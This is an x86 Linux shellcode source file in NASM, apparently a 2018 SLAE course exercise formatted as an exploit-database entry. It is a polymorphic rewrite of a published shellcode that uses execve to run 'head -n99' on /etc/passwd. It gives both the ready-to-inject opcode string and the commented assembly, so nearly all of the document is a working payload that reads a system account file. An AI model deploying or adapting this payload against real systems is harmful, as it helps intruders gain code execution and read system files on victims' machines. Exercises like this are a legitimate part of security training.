; Exploit Title: /usr/bin/head -n99 cat etc/passwd (poly shellcode-571.php)
; Date: November 29th, 2018
; Exploit Author: Nelis
; Version: 0.2
; Tested on: Ubuntu 12.10
; Filename: headpass.nasm
; SLAE-ID: 1327
; Based on: https://shell-storm.org/shellcode/files/shellcode-571.php

; Shellcode:"\x29\xc0\x50\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe6\x50\x68\x2d\x6e\x39\x39\x89\xe7\x50\x68\x68\x65\x61\x64\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x57\x56\x53\xb0\x0b\x89\xe1\xcd\x80"



global _start      

section .text
_start:

  sub eax, eax      ; changed from xor eax, eax

   push eax                        ; put 0-term on stack
        push dword 0x64777373           ; dwss
        push dword 0x61702f63           ; ap/c
        push dword 0x74652f2f           ; te// 
  mov esi, esp      ; save addr of stack into esi

  push eax
  push dword 0x39396e2d           ; 99n-
  mov edi, esp      ; save addr of stack into edi
  
  push eax
  push dword 0x64616568    ; daeh
  push dword 0x2f6e6962    ; /nib
  push dword 0x2f2f2f2f    ; ////
  push dword 0x7273752f    ; rsu/ changed from cat to head command
  mov ebx,esp      ; unchanged (save addr of stack into into ebx)

;  mov edx, eax      ; set edx to NULL / not already 0x0 / keeping it here in case you encouter issues with it
  push eax      ; 0-term on stack
  push edi      ; added for args
  push esi      ; added for args
  push ebx      ; pointer to /user////bin/head

  mov al, 0xb                     ; set syscall execve
  mov ecx,esp      ; move stack pointer into ecx
  int 0x80      ; make syscall